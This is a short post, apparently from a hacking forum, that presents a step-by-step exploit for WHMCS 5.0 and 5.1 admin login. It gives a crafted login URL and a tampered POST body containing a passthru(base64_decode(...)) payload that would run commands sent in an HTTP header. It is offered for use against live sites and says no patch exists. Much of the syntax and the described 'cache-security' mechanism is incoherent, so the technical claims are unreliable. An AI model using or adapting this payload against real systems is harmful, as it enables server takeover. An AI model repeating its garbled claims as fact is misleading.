Recommended: You must have BEeF or Tamper Data already installed, I do not recommend doing this process manually.

# The Fact:

WHMCS
5.0 is completely vulnerable to this vulenrability, but in 5.1 version,
WHMCS has added extra cache-security, so I've added an extra-payload
for it, you can do the exploitation-process without the payload in the
5.0 version.


# The Exploitation

http://site.com/whmcs/admin/login.php?correct&cache=1?login=getpost{}

after
you have successfully entered that into your browser, the page will lag
for abit due to the cache-validation, which we, ofcourse, will change
it. ;-)


when the page is loading, quickly open Tamper Data and change the loading POST_SESSION request & the payload to this:

POST: $post(login=1);passthru(base64_decode(\$_SERVER[HTTP_CMD]))&login_cancel;die;";

Payload: $payload = "login=1&title=1&execorder=0&hook=urlencoded&redirect={admin_index}";


# The Result

Once
you have done this process, you will be automatically be redirected to
the admin page, although, if the administrator has enabled
cache-security, this process will fail.

# Solution & Fix

No solution & fix, just wait for the WHMCS team to release a patch for this vulnerability.
